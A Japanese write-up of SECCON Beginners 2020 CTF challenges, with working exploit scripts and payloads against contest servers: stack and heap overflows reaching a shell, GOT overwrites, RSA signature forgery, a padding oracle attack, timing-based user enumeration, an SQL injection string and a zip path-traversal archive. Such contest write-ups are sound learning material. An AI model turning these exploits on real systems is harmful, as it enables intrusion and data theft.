良問揃いで面白かった。superflipは6位。あと3問……。
Pwn
Beginner's Stack
$ nc bs.quals.beginners.seccon.jp 9001
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffd89c2fbb0 | 0x0000000000000000 | <-- buf
+--------------------+
0x00007ffd89c2fbb8 | 0x0000000000000000 |
+--------------------+
0x00007ffd89c2fbc0 | 0x0000000000000000 |
+--------------------+
0x00007ffd89c2fbc8 | 0x00007f0055e05170 |
+--------------------+
0x00007ffd89c2fbd0 | 0x00007ffd89c2fbe0 | <-- saved rbp (vuln)
+--------------------+
0x00007ffd89c2fbd8 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffd89c2fbe0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffd89c2fbe8 | 0x00007f005580cb97 | <-- return address (main)
+--------------------+
0x00007ffd89c2fbf0 | 0x0000000000000001 |
+--------------------+
0x00007ffd89c2fbf8 | 0x00007ffd89c2fcc8 |
+--------------------+
Input:
初心者向けに親切w しかも飛ばしたいアドレスの末尾が61
でa
だから、手でa
を0x29文字打ち込めば良い。改行してしまうと、\n
が入ってしまうので、Ctrl+D
で終了する。
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ Address ] [ Stack ]
+--------------------+
0x00007ffd89c2fbb0 | 0x6161616161616161 | <-- buf
+--------------------+
0x00007ffd89c2fbb8 | 0x6161616161616161 |
+--------------------+
0x00007ffd89c2fbc0 | 0x6161616161616161 |
+--------------------+
0x00007ffd89c2fbc8 | 0x6161616161616161 |
+--------------------+
0x00007ffd89c2fbd0 | 0x6161616161616161 | <-- saved rbp (vuln)
+--------------------+
0x00007ffd89c2fbd8 | 0x0000000000400861 | <-- return address (vuln)
+--------------------+
0x00007ffd89c2fbe0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffd89c2fbe8 | 0x00007f005580cb97 | <-- return address (main)
+--------------------+
0x00007ffd89c2fbf0 | 0x0000000000000001 |
+--------------------+
0x00007ffd89c2fbf8 | 0x00007ffd89c2fcc8 |
+--------------------+
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
残念。でも、親切。ハマりどころ。
ここで、win
の冒頭を見てみると、
0000000000400861 <win>:
400861: 55 push rbp
400862: 48 89 e5 mov rbp,rsp
400865: 48 83 ec 10 sub rsp,0x10
400869: 48 89 e0 mov rax,rsp
こうなっている。スタックがpush/pop 1回分ズレれば良いので、先頭のpush rbp
を飛ばして次の命令から実行すれば良い。
Input: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
[ Address ] [ Stack ]
+--------------------+
0x00007ffeeb40fe80 | 0x6262626262626262 | <-- buf
+--------------------+
0x00007ffeeb40fe88 | 0x6262626262626262 |
+--------------------+
0x00007ffeeb40fe90 | 0x6262626262626262 |
+--------------------+
0x00007ffeeb40fe98 | 0x6262626262626262 |
+--------------------+
0x00007ffeeb40fea0 | 0x6262626262626262 | <-- saved rbp (vuln)
+--------------------+
0x00007ffeeb40fea8 | 0x0000000000400862 | <-- return address (vuln)
+--------------------+
0x00007ffeeb40feb0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffeeb40feb8 | 0x00007f306b1cab97 | <-- return address (main)
+--------------------+
0x00007ffeeb40fec0 | 0x0000000000000001 |
+--------------------+
0x00007ffeeb40fec8 | 0x00007ffeeb40ff98 |
+--------------------+
Congratulations!
ls -al
total 32
drwxr-xr-x 1 root pwn 4096 May 19 11:29 .
drwxr-xr-x 1 root root 4096 May 19 11:29 ..
-r-xr-x--- 1 root pwn 12912 May 19 11:27 chall
-r--r----- 1 root pwn 34 May 19 11:27 flag.txt
-r-xr-x--- 1 root pwn 37 May 19 11:27 redir.sh
cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
exit
おめでとう!とだけ言われて「あれ?」となるけれど、この時点でシェルは起動しているのでコマンドが通る。
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Beginner's Heap
これも親切。ヒープの状態などが見られる。
$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)
A = malloc(0x18);
Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:
<__free_hook>: 0x7faa395028e8
<win>: 0x55f67cb9e465
Call <win> function and you'll get the flag.
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 2
hoge
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 3
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 4
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x55f67dd6f330
[+] B = (nil)
+--------------------+
0x000055f67dd6f320 | 0x0000000000000000 |
+--------------------+
0x000055f67dd6f328 | 0x0000000000000021 |
+--------------------+
0x000055f67dd6f330 | 0x0000000000000000 | <-- A
+--------------------+
0x000055f67dd6f338 | 0x0000000000000000 |
+--------------------+
0x000055f67dd6f340 | 0x0000000000000000 |
+--------------------+
0x000055f67dd6f348 | 0x0000000000000021 |
+--------------------+
0x000055f67dd6f350 | 0x0000000000000000 |
+--------------------+
0x000055f67dd6f358 | 0x0000000000000000 |
+--------------------+
0x000055f67dd6f360 | 0x0000000000000000 |
+--------------------+
0x000055f67dd6f368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 5
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x000055f67dd6f350(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
>
__free_hook
に関数のアドレスを代入すると、free
を呼び出しときにその関数が呼ばれる。
tcacheに繋がれた開放済みのチャンクにヒープオーバーフローなどで書き込みが可能な場合、任意のアドレスA
に任意の値B
が書き込める。
- メモリを解放してtcacheにチャンクを繋ぐ
- アドレス
A
の値を前のチャンクのヒープオーバーフローで書き込む - メモリを確保する。このメモリは使わない
- もう一度メモリを確保すると、アドレス
A
が返ってくるので、B
を書き込む
今度は非ASCII文字を書き込む必要があるし、サーバーから返ってくる値によって書き込む値を変える必要があるので、スクリプトを書く。この親切な表示だとパースがちょっと面倒だな。
from pwn import *
context.arch = "amd64"
#context.log_level = "debug"
s = remote("bh.quals.beginners.seccon.jp", 9002)
t = s.readuntil("get the flag")
for l in t.split(b"\n"):
if b"<__free_hook>:" in l:
__free_hook = int(l.split()[-1][2:], 16)
if b"<win>:" in l:
win = int(l.split()[-1][2:], 16)
s.sendlineafter("> ", "2")
s.sendline("hoge")
s.sendlineafter("> ", "3")
s.sendlineafter("> ", "1")
s.sendline(b"a"*0x18+pack(0x31)+pack(__free_hook))
s.sendlineafter("> ", "2")
s.sendline("hoge")
s.sendlineafter("> ", "3")
s.sendlineafter("> ", "2")
s.sendline(pack(win))
s.sendlineafter("> ", "3")
s.interactive()
$ python3 attack.py
[+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done
[*] Switching to interactive mode
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
[*] Got EOF while reading in interactive
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
Elementary Stack
ソースコード付の問題。
:
int main(void) {
int i;
long v;
char *buffer;
unsigned long x[X_NUMBER];
if ((buffer = malloc(0x20)) == NULL)
fatal("Memory error");
while(1) {
i = (int)readlong("index: ", buffer, 0x20);
v = readlong("value: ", buffer, 0x20);
printf("x[%d] = %ld\n", i, v);
x[i] = v;
}
return 0;
}
$ nc es.quals.beginners.seccon.jp 9003
index: 1
value: 0
x[1] = 0
index: 2
value: 3
x[2] = 3
なぜ、0x20バイトの固定サイズのメモリをわざわざmalloc
で確保しているのだろう? それはbuffer
を書き換えるため。x[-2]
がbuffer
。buffer
をGOTのatol
アドレスにして、下位バイトを書き換えてsystem
にすれば、atol(buffer)
がsystem(buffer)
になってコマンドが実行できる。
簡単かと思ったけれど、実行するコマンドの/bin/sh
を入力すると、せっかく書き換えたアドレスが/bin/sh
で上書きされてしまって落ちる。atol
ではなくその1個前のmalloc
のアドレスをbuffer
に設定するようにした。
from pwn import *
elf = ELF("chall")
context.binary = elf
libc = ELF("libc-2.27.so")
s = remote("es.quals.beginners.seccon.jp", 9003)
s.sendafter("index: ", "-2")
# 601038 <malloc@GLIBC_2.2.5>
# 601040 <atol@GLIBC_2.2.5>
s.sendafter("value: ", str(elf.symbols['got.malloc']))
s.sendafter("index: ", "0")
s.sendafter("value: ", b"/bin/sh\0"+pack(libc.symbols['system'])[:2])
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/seccon2020beginners/Elementary Stack/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/mnt/d/documents/ctf/seccon2020beginners/Elementary Stack/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to es.quals.beginners.seccon.jp on port 9003: Done
[*] Switching to interactive mode
$ ls -al
total 28
drwxr-xr-x 1 root pwn 4096 May 19 11:30 .
drwxr-xr-x 1 root root 4096 May 19 11:30 ..
-r-xr-x--- 1 root pwn 8672 May 19 11:29 chall
-r--r----- 1 root pwn 71 May 19 11:29 flag.txt
-r-xr-x--- 1 root pwn 37 May 19 11:29 redir.sh
$ cat flag.txt
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}
ChildHeap
解けなかった。
$ nc childheap.quals.beginners.seccon.jp 22476
Welcome to childheap 2020
Last year, I was a baby...
Now I'm not a baby but a child!!!
MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 1
Input Size: 10
Input Content: aaa
MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2
Content: 'aaa'
Remove? [y/n] y
MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2
Content: ''
Remove? [y/n] n
MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 3
MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2
Content: '(null)'
Remove? [y/n]
脆弱性は、Deleteでポインタのアドレスがそのままなので、解放後の読み出しや、double freeができる。また、Allocで確保したサイズちょうどの文字列を書き込むと1バイト後に\0
が書かれる。複数のチャンクを同時に持てないことと、libc-2.29(tcacheのdouble free対策あり)がやっかい。
複数のチャンクを同時に持てないので、一見A=malloc(1), B=malloc(1), free(A), free(B)
としてtcacheに複数のチャンクを繋ぐことができなさそう(A=malloc(1), free(A), B=malloc(1)
とするとB=A
となる)。これは、0x110バイトのチャンクを確保、\0
のオーバーフローでサイズを0x100に書き換え、解放を繰り返せば何とかなる。あとは解放後のメモリ読み出しでheapのアドレスが得られる。
次にlibcのアドレスが欲しい。そのためにはusortbinにチャンクを繋ぐ必要がある。これは上述の方法で7回メモリを解放すれば、次はusortbinに行く。問題は、上書きできるのが\0
でprev_inuse
ビットが寝ており、前のチャンクと統合されること。heapのアドレスがすでに分かっているので、ここでエラーを出さないようにすることはできる。でも、usortbinのアドレスは統合された前のチャンクのfd
に書かれるので読み出せない。前のチャンクのアドレスを確保しても、AllocでNUL終端文字列で上書きされてしまう。どうしろと。
prevsize
を0にして、「前のチャンクも自分自身だ」する手を思いつき、2.27では動いたけど。2.29では対策されていた。2.27はこのチェックが無かった。
:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
:
flip
深夜36時くらいまで粘ったけれど解けなかった。悔しい。
$ nc flip.quals.beginners.seccon.jp 17539
Input address >> 6295552
You can flip two times!
Which bit (0 ~ 7) >> 1
Which bit (0 ~ 7) >> 4
Done!
好きなアドレスを2ビットフリップできる。
printf("Which bit (0 ~ 7) >> ");
bit = getlong();
if (7 < bit) break;
*addr = *addr ^ (byte)(1 << ((byte)bit & 0x1f));
i = i + 1;
こんな感じの処理なので、-8
とか入れればその分はキャンセルされて1ビットだけフリップすることもできる。
2ビットフリップしたらプログラムが終了する。そんなんで何もできるわけがないので、まずは終了時にmain
が再度呼ばれるようにするのが定跡。exit
は終了時にしか呼び出されず、PLTのアドレスが入っているのですぐ近くの_start
に書き換える。
最終的には、すでにアドレスを解決済みの関数のアドレスを書き換えて、One-gadget ROPに飛ばしたい。プログラムの実行中に呼ばれる関数では書き換えている途中に呼び出されてしまうのでダメ。setbuf
が良さそうじゃない?と思ったが、_start
からの処理の流れで呼ばれる。
そこで、まずは__stack_chk_fail
のアドレスを書き換えてmain
にした。その後、exit
をPLTの__stack_chk_fail
に飛ばすようにする。これはアドレスが近いの1度でできる。そうするとsetbuf
が呼び出されなくなるので、One-gadget ROPに書き換え、最後にexit
でsetbuf
に飛ぶようにする。「数ビット分の運が必要だが何とかなるだろ」と思ったけれど、動きませんね。終。
from pwn import *
import time
#context.log_level = "debug"
s = remote("flip.quals.beginners.seccon.jp", 17539)
#s = remote("localhost", 7777)
# got.exit -> _start
s.sendlineafter("Input address >> ", str(0x601050)) # got.exit
s.sendlineafter("Which bit (0 ~ 7) >> ", "4")
s.sendlineafter("Which bit (0 ~ 7) >> ", "5")
stack_fail = 0x400676
main = 0x4007fa
for i in range(64):
if stack_fail>>i&1^main>>i&1:
s.sendlineafter("Input address >> ", str(0x601020+i//8))
s.sendlineafter("Which bit (0 ~ 7) >> ", str(i%8))
s.sendlineafter("Which bit (0 ~ 7) >> ", "-8")
# got.exit -> __stack_chk_fail
s.sendlineafter("Input address >> ", str(0x601050))
s.sendlineafter("Which bit (0 ~ 7) >> ", "1")
s.sendlineafter("Which bit (0 ~ 7) >> ", "2")
s.sendlineafter("Input address >> ", str(0x601050))
s.sendlineafter("Which bit (0 ~ 7) >> ", "4")
s.sendlineafter("Which bit (0 ~ 7) >> ", "7")
setbuf = 0x884d0
rce = 0x4f2c5
for i in range(64):
if setbuf>>i&1^rce>>i&1:
s.sendlineafter("Input address >> ", str(0x601028+i//8))
s.sendlineafter("Which bit (0 ~ 7) >> ", str(i%8))
s.sendlineafter("Which bit (0 ~ 7) >> ", "-8")
# got.exit -> setbuf
s.sendlineafter("Input address >> ", str(0x601050))
s.sendlineafter("Which bit (0 ~ 7) >> ", "4")
s.sendlineafter("Which bit (0 ~ 7) >> ", "7")
s.interactive()
Crypto
R&B
from os import getenv
FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")
def rot13(s):
# snipped
def base64(s):
# snipped
for t in FORMAT:
if t == "R":
FLAG = "R" + rot13(FLAG)
if t == "B":
FLAG = "B" + base64(FLAG)
print(FLAG)
これを複数回適用したものがencoded_flag。
t = open("encoded_flag", "rb").read()
while True:
t = t[1:].decode("rot13" if t[0]=="R" else "base64")
print t
Python 2なら、どちらも"".decode()
で処理できて便利。
ctf4b{rot_base_rot_base_rot_base_base}
Noisy equations
ランダムな行列$C_i$とフラグのベクトル$F$、ランダムなベクトル$R$に対して、$C_iF+R=A_i$としたときのベクトル$A_i$と$C_i$がサーバーから返ってくるので、$F$を求めよという問題。$R$は固定で、$C_i$は毎回変わる。
2回サーバーに繋いで結果を得る。$C_1F+R=A_1$と$C_2F+R=A_2$の両辺を引き算すれば、$(C_1-C_2)F=(A_1-A_2)$となって$R$が消えるので連立方程式を解けば良い。桁数が256bitだから「実数では精度が足りないよな」と思って割り算しないで解いていたら桁が大きくなりすぎて終わらなかった。256以上の素数のmodで計算した。modは競プロ以外でも役に立つ。
C1 = [[8222072246483494885558937253711759803473433072559584130447177371987319...
A1 = [25201795883146818530176813817097988167398037038104990014284592316829137...
C2 = [[1068929100013840543900491331318986051225858798303685501997405768464612...
A2 = [19759826979132496779627843097182162204416223472780573210448257483411715...
M = 0x10000000000000000000000000000000000000000000000000000000000000129
N = len(A1)
C = [[0]*(N+1) for _ in range(N)]
for y in range(N):
for x in range(N):
C[y][x] = (C1[y][x]-C2[y][x])%M
for i in range(N):
C[i][N] = (A1[i]-A2[i])%M
for y in range(N):
assert C[y][y]!=0
t = C[y][y]
for x in range(N+1):
C[y][x] = C[y][x]*pow(t, M-2, M)%M
for yy in range(N):
if yy!=y:
t = C[yy][y]
for x in range(N+1):
C[yy][x] = (C[yy][x]-C[y][x]*t)%M
print "".join(chr(C[i][N]) for i in range(N))
$ python2 solve.py
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
RSA Calc
$ nc rsacalc.quals.beginners.seccon.jp 10001
N: 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
----------
1) Sign
2) Exec
3) Exit
> 1
data> 1,2,+
Signature: 371d4e6cf26fe1d059a05cab55bc270bfdb29b992a521747dc25c38e3b66d9dacd85b5ed1e509cddec6f3e26f2ddacbf2a9c70478df26e85f10e0200a02ee552130b0792325836a4d897faf32f098510249a6cd29bedde677ff10ffd31c97822bfd009c43374e80436f127ceef2104af80b2c9a1f2eff95f8d86cf488c3203dc
----------
1) Sign
2) Exec
3) Exit
> 2
data> 1,2,+
signature> 371d4e6cf26fe1d059a05cab55bc270bfdb29b992a521747dc25c38e3b66d9dacd85b5ed1e509cddec6f3e26f2ddacbf2a9c70478df26e85f10e0200a02ee552130b0792325836a4d897faf32f098510249a6cd29bedde677ff10ffd31c97822bfd009c43374e80436f127ceef2104af80b2c9a1f2eff95f8d86cf488c3203dc
Answer: 3
----------
1) Sign
2) Exec
3) Exit
> 1
data> F
Error
計算式にRSAで署名をして、署名が正しければ実行してくれる。1337,F
でクリアだが、1337
やF
が計算式に含まれていると署名してくれない。
1337,F,????????
の平方根に署名をさせて、二乗した。多少値はずれるけど、F,
以降の値は何でも良い。以下のコードのx
は、たまたまF
が含まれたので回避するため。
from pwn import *
from Crypto.Util.number import *
#context.log_level = "debug"
s = remote("rsacalc.quals.beginners.seccon.jp", 10001)
N = int(s.readline().split()[-1])
a2 = bytes_to_long("1337,F,x"+"\xff"*8)
a = int(a2**.5)
s.sendlineafter("> ", "1")
s.sendlineafter("data> ", long_to_bytes(a))
sign = int(s.recvline().split()[-1], 16)
s.sendlineafter("> ", "2")
s.sendlineafter("data> ", long_to_bytes(a**2))
s.sendlineafter("signature> ", hex(sign**2%N)[2:])
print s.recvline()
$ python2 attack.py
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
ctf4b{SIgn_n33ds_P4d&H4sh}
ctf4b{SIgn_n33ds_P4d&H4sh}
Encrypter
暗号化と、復号と、フラグを暗号化した文字列を返す機能のあるウェブサービス。ただし、復号は
ok. TODO: return the result without the flag
という文字列が返ってくるだけ。正しく復号できたかどうかは教えてくれるが、たとえフラグが含まれていなくても復号結果は返してくれない。Padding Oracle Attack。
AESは16バイトなどの固定長のブロックに対する暗号である。単純に平文を16バイトごとに区切って暗号化するだけだと脆弱なので、前のブロックの結果を次のブロックに加えるようになっている。
平文はブロックサイズの定数倍とは限らない。そこで、末尾に... 01
、... 02 02
、... 03 03 03
、…のいずれかを加えてブロックのサイズの定数倍にすることが多い(PKCS#7)。これならば末尾を見ると何バイト追加されたのかが分かって元に戻せる。
復号に成功したかどうかを教えてくれるということは、最後のブロックの末尾がこの形式になったかどうかを教えてくれるということである。どれになったかは教えてくれないものの、01
を探しているときにたまたま02 02
になる確率は低いので問題無い。復号したいブロックを末尾にして、細工したブロックをその前に付けることにより。1バイトずつ総当たりすることができる。計算量が$2^{16\times 8}=2^{128}$から$16 \times 2^8=2^{12}$に落ちる。まあ、数十分は掛かるけど。
import urllib
import json
def oracle(data):
data = {
"mode": "decrypt",
"content": "".join(map(chr, data)).encode("base64")
}
res = urllib.urlopen(
"http://encrypter.quals.beginners.seccon.jp/encrypt.php",
json.dumps(data)).read()
return u"result" in json.loads(res)
flag = "1hFKJjGc/isxjnZS/5T7Z0vLhOURPu3a7xNx+dhVXP6ZodHJLyhTkd7g3cHUz5vsaTa+xoevcvCNQVxbaOZalA==".decode("base64")
for i in range(16, len(flag), 16):
C = map(ord, flag[i:i+16])
P = [0]*16
for j in range(16):
print ".",
for c in range(256):
P[-j-1] = c
IV = [x^(j+1) for x in P]
if oracle(IV+C):
break
print "".join(chr(p^c) for p, c in zip(P, map(ord, flag[i-16:i])))
>py -2 attack.py
. . . . . . . . . . . . . . . . ctf4b{p4d0racle_
. . . . . . . . . . . . . . . . 1s_als0_u5eful_f
. . . . . . . . . . . . . . . . 0r_3ncrypt10n}
ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}
C4B
EthereumのSolidity。ときどき見るな。一度くらいは解いてみたいので、テストネットのEthereumを手に入れるところまではやって、後で腰を据えてやろうと思ったら、ChildHeapとflipが解けずに時間切れ。
解いたので、追記。
問題は、
pragma solidity >= 0.5.0 < 0.7.0;
contract C4B {
address public player;
bytes8 password;
bool public success;
event CheckPassed(address indexed player);
constructor(address _player, bytes8 _password) public {
player = _player;
password = _password;
success = false;
}
function check(bytes8 _password, uint256 pin) public returns(bool) {
uint256 hash = uint256(blockhash(block.number - 1));
if (hash%1000000 == pin) {
if (keccak256(abi.encode(password)) == keccak256(abi.encode(_password))) {
success = true;
}
}
emit CheckPassed(player);
return success;
}
}
ソースコードは特に難しいことはなく、コンストラクタで指定したpassword
と、直前のブロックのハッシュ値の下6桁であるpin
を入力すれば良い。MetaMaskを入れて問題の指示に従ってデプロイすると、このC4B
のインスタンスがEthereumのブロックチェーン上に生成されるので、それに対してcheck
メソッドを呼び出す。それをどうすれば良いのかが分からなかった。
https://remix.ethereum.org/ を開いてEnvironmentsでSOLIDITYを選択するとコンパイルやデプロイができるようになる。
適当なファイル名でファイルを作って問題のソースコードを貼り付けて、「SOLIDITY COMPILER」でコンパイル、「DEPLOY & RUN TRANSACTIONS」の「ENVIRONMENT」で「Injected Web3」を選択、「CONTRACT」で今作ったファイルのC4Bを選択、「AtAddress」に問題のページに表示されている自分のコントラクトのアドレスを入力してクリック、でメソッドの呼び出しや、publicなフィールドの値の確認ができるようになる。Ethereumのスクリプトはコンパイルしてブロックチェーンに書き込まれるので型情報などは別に必要らしい。
手でpin
を計算して実行すれば良さそうだけど、PINの計算には直前のブロックのハッシュ値が必要。ただ、Ethereumのブロック生成間隔は十数秒で、Etherscanへの反映も遅いので間に合わない。このメソッドを呼び出す別のコントラクトを作ることにした。
ところで、password
は? JavaScriptのソースコードを見てもパスワードを設定している処理は見当たらず、てっきり初期値の0x0000000000000000
でも設定されているのかと思ったけど、そうではなかった。問題のスクリプトでは作問者の作ったコントラクト
に対して、自分のアドレスを送信している。問題のソースコードのコントラクトのデプロイはこのコントラクトが行っている。Contractから逆コンパイルした結果が見られる。
#
# Panoramix v4 Oct 2019
# Decompiled source of ropsten:0xBa0C16D30DAc50d6530B7D405c901bA611312f01
#
# Let's make the world open source
#
def _fallback() payable: # default function
revert
def unknown4c96a389(addr _param1) payable:
require calldata.size - 4 >= 32
create contract with 0 wei
code: 0xfe608060405234801561001057600080fd5b506040516102703803806102708339818101604052604081101561003357600080fd5b508051602090910151600080546001600160a01b0319166001600160a01b0390931692909217600160a01b600160e01b031916600160a01b60c09290921c919091021760ff60e01b191681556101e190819061008f90396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80630b93381b1461004657806348db5f8914610062578063c577930a14610086575b600080fd5b61004e6100b3565b604080519115158252519081900360200190f35b61006a6100c3565b604080516001600160a01b039092168252519081900360200190f35b61004e6004803603604081101561009c57600080fd5b506001600160c01b031981351690602001356100d2565b600054600160e01b900460ff1681565b6000546001600160a01b031681565b600060001943014082620f42408206141561016057604080516001600160c01b03198087166020808401919091528351808403820181528385018552805190820120600054600160a01b900460c01b909216606080850191909152845180850390910181526080909301909352815191909201201415610160576000805460ff60e01b1916600160e01b1790555b600080546040516001600160a01b03909116917f320f420edbd58b0816e3c933b93878e7c130093cdc9237d2e3a855b724f69c9491a25050600054600160e01b900460ff169291505056fea2646970667358221220847acddc65835de532668e5c0c467e8906f287b7ccd0665a6763dd424e10be6a64736f6c634300060600, addr(_param1), Mask(64, 192, sha3(block.hash(block.number - 1)))
if not create.new_address:
revert with ext_call.return_data[0 len return_data.size]
log 0xbe099bcc: addr(create.new_address), _param1
ということで、パスワードはMask(64, 192, sha3(block.hash(block.number - 1)))
。これはSolidityのコードではなくこのままでは使えないが、C4Bの逆コンパイル結果と見比べると、たぶん等価なSolidityコードはbytes8(keccak256(abi.encode(blockhash(7967250 - 1))))
。ということで、下記のコードのSolveをデプロイしたら通った。
pragma solidity >= 0.5.0 < 0.7.0;
import 'C4B.sol';
contract Solve {
constructor() public {
C4B(0xd6E1c72F285e7A00fDD8B3e3314BF7b4bdB7e74F).check(
bytes8(keccak256(abi.encode(blockhash(7967250 - 1)))),
uint256(blockhash(block.number-1))%1000000);
}
}
たとえpublicではないフィールドでも、他のコントラクトからはアクセスできないというだけであり、ブロックチェーン上に値は書かれていて誰でも見られるはず。
これがそうだろうか。プログラムで計算しなくても、0x8f473bcdaf05f5ca
で通るのかもしれない。
ctf4b{c4b_me4ns_c0ntract4beg1nn3rs}
Web
Spy
ユーザ列挙攻撃をしろという問題。
:
exists, account = db.get_account(name)
if not exists:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
:
こうしてしまうと、実行時間でアカウントの有無がバレる。ネットワーク越しだとネットワークでの誤差があるのでなかなか大変だが……この問題ではサーバー側での実行時間を教えてくれる。
$ cat employees.txt | while read x; do echo ${x}; curl -sS -d "na
me=${x}&password=hoge" https://spy.quals.beginners.seccon.jp/ | grep 'It took'; done
Arthur
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003706 sec to load this page.</p>
Barbara
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0002144 sec to load this page.</p>
Christine
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0008450 sec to load this page.</p>
David
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003488 sec to load this page.</p>
Elbert
<p style="font-size: 12px; color: #aaaaaa;">It took 0.3170451 sec to load this page.</p>
Franklin
<p style="font-size: 12px; color: #aaaaaa;">It took 0.0003582 sec to load this page.</p>
George
:
Elbert, George, ...がスパイ。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Tweetstore
:
var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
sql += " order by tweeted_at desc"
limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
sql += " limit " + strings.Split(limit[0], ";")[0]
}
:
SQL Injection。limit
は素通しだが、limit
の後にunion select ~
はできないらしい。search
のほうは'
を\'
をにしているものの、\
がそのままなので\'
を入力すると\\'
となって、'
が効く。ありがちなミス。
「フラグが無いんだけど 」でハマってしまった。ちゃんとソースコードに書いてありました。
:
func initialize() {
var err error
dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"
connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
:
\' union select url, session_user, tweeted_at from tweets --
で検索。session_user
が肝。型があっていないからか適当に0
とかにするとエラーになるので、他の項目はtweets
から持ってきた。
unzip
ZIPを送るとサーバー内に展開してファイルをダウンロードできるサービス。ファイルの取得にディレクトリトラバーサルがある。でも、ZIPに含まれていたファイル名かどうかがチェックされている。適当に作ったZIPファイルをバイナリエディタで書き換えて、ファイル名を../../flag.txt
にしてアップロード。
$ hexdump -C dd_dd_flag.zip
00000000 50 4b 03 04 14 00 00 00 00 00 6c 91 b7 50 00 00 |PK........l..P..|
00000010 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 2e 2e |................|
00000020 2f 2e 2e 2f 66 6c 61 67 2e 74 78 74 50 4b 01 02 |/../flag.txtPK..|
00000030 14 00 14 00 00 00 00 00 6c 91 b7 50 00 00 00 00 |........l..P....|
00000040 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 00 00 |................|
00000050 00 00 20 00 00 00 00 00 00 00 2e 2e 2f 2e 2e 2f |.. ........./../|
